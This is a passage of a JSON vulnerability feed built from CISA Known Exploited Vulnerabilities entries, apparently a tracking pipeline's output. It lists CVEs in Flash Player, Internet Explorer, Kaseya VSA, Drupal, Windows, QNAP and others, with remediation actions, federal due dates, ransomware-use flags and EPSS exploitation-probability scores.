CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85589,"percentile":0.99721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-0311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-0311","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-0311 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-0311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-0311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-0313","cveId":"CVE-2015-0313","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in Adobe Flash Player allows remote attackers to execute code.","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95266,"percentile":0.99865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-0313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-0313","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-0313 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-0313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-0313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2502","cveId":"CVE-2015-2502","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability that allows an attacker to execute code or cause a denial-of-service (DoS).","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.51001,"percentile":0.98921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2502&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2502","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2502 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2502&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2502, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-3113","cveId":"CVE-2015-3113","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Heap-Based Buffer Overflow Vulnerability","summary":"Heap-based buffer overflow vulnerability in Adobe Flash Player allows remote attackers to execute code.","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99812,"percentile":0.99959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-3113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-3113","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-3113 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-3113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-3113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-5122","cveId":"CVE-2015-5122","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in the DisplayObject class in the ActionScript 3 (AS3) implementation in Adobe Flash Player allows remote attackers to execute code or cause a denial-of-service (DoS).","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87033,"percentile":0.99746,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-5122&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-5122","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-5122 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-5122&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-5122, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-5123","cveId":"CVE-2015-5123","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in the BitmapData class in the ActionScript 3 (AS3) implementation in Adobe Flash Player allows remote attackers to execute code or cause a denial-of-service (DoS).","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1883,"percentile":0.97263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-5123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-5123","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-5123 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-5123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-5123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-20753","cveId":"CVE-2018-20753","aliases":[],"kind":"vulnerability","title":"Kaseya VSA Remote Code Execution Vulnerability","summary":"Kaseya VSA RMM allows unprivileged remote attackers to execute PowerShell payloads on all managed devices.","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Kaseya","product":"Virtual System/Server Administrator (VSA)","stacks":["Kaseya","Virtual System/Server Administrator (VSA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29551,"percentile":0.98174,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-20753&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-20753","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-20753 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-20753&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-20753, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-7602","cveId":"CVE-2018-7602","aliases":[],"kind":"vulnerability","title":"Drupal Core Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists within multiple subsystems of Drupal that can allow attackers to exploit multiple attack vectors on a Drupal site.","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Drupal","product":"Core","stacks":["Drupal","Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99172,"percentile":0.99933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-7602&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-7602","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-7602 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-7602&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-7602, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-24521","cveId":"CVE-2022-24521","aliases":[],"kind":"vulnerability","title":"Microsoft Windows CLFS Driver Privilege Escalation Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) Driver contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07134,"percentile":0.94218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-24521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-24521","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-24521 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-24521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-24521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-11317","cveId":"CVE-2017-11317","aliases":[],"kind":"vulnerability","title":"Telerik UI for ASP.NET AJAX Unrestricted File Upload Vulnerability","summary":"Telerik.Web.UI in Progress Telerik UI for ASP.NET AJAX allows remote attackers to perform arbitrary file uploads or execute arbitrary code.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"Telerik","product":"User Interface (UI) for ASP.NET AJAX","stacks":[".NET","Progress (MOVEit, Telerik, WS_FTP)","Telerik","User Interface (UI) for ASP.NET AJAX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84175,"percentile":0.99692,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-11317&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-11317","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-11317 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-11317&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-11317, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-2509","cveId":"CVE-2020-2509","aliases":[],"kind":"vulnerability","title":"QNAP Network-Attached Storage (NAS) Command Injection Vulnerability","summary":"QNAP NAS devices contain a command injection vulnerability which could allow attackers to perform remote code execution.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"QNAP Network-Attached Storage (NAS)","stacks":["QNAP","QNAP Network-Attached Storage (NAS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33987,"percentile":0.98384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-2509&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-2509","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-2509 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-2509&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-2509, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22600","cveId":"CVE-2021-22600","aliases":[],"kind":"vulnerability","title":"Linux Kernel Privilege Escalation Vulnerability","summary":"Linux Kernel contains a flaw in the packet socket (AF_PACKET) implementation which could lead to incorrectly freeing memory. A local user could exploit this for denial-of-service (DoS) or possibly for privilege escalation.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06586,"percentile":0.93789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22600&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22600","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22600 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22600&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22600, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27852","cveId":"CVE-2021-27852","aliases":[],"kind":"vulnerability","title":"Checkbox Survey Deserialization of Untrusted Data Vulnerability","summary":"Deserialization of Untrusted Data vulnerability in CheckboxWeb.dll of Checkbox Survey allows an unauthenticated remote attacker to execute arbitrary code.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Versions 6 and earlier for this product are end-of-life and must be removed from agency networks. Versions 7 and later are not considered vulnerable.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"Checkbox","product":"Checkbox Survey","stacks":["Checkbox","Checkbox Survey"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Versions 6 and earlier for this product are end-of-life and must be removed from agency networks. Versions 7 and later are not considered vulnerable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30258,"percentile":0.98209,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27852","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27852 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-39793","cveId":"CVE-2021-39793","aliases":[],"kind":"vulnerability","title":"Google Pixel Out-of-Bounds Write Vulnerability","summary":"Google Pixel contains a possible out-of-bounds write due to a logic error in the code that could lead to local escalation of privilege.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Pixel","stacks":["Google","Pixel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00685,"percentile":0.52336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-39793&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-39793","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-39793 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-39793&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-39793, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-42278","cveId":"CVE-2021-42278","aliases":[],"kind":"vulnerability","title":"Microsoft Active Directory Domain Services Privilege Escalation Vulnerability","summary":"Microsoft Active Directory Domain Services contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Active Directory","stacks":["Microsoft","Active Directory"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-11","dueAt":"2022-05-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73297,"percentile":0.99457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-42278&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-42278","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-42278 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-42278&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-42278, scored 2026-10-25. This is a model estimate, not proof of 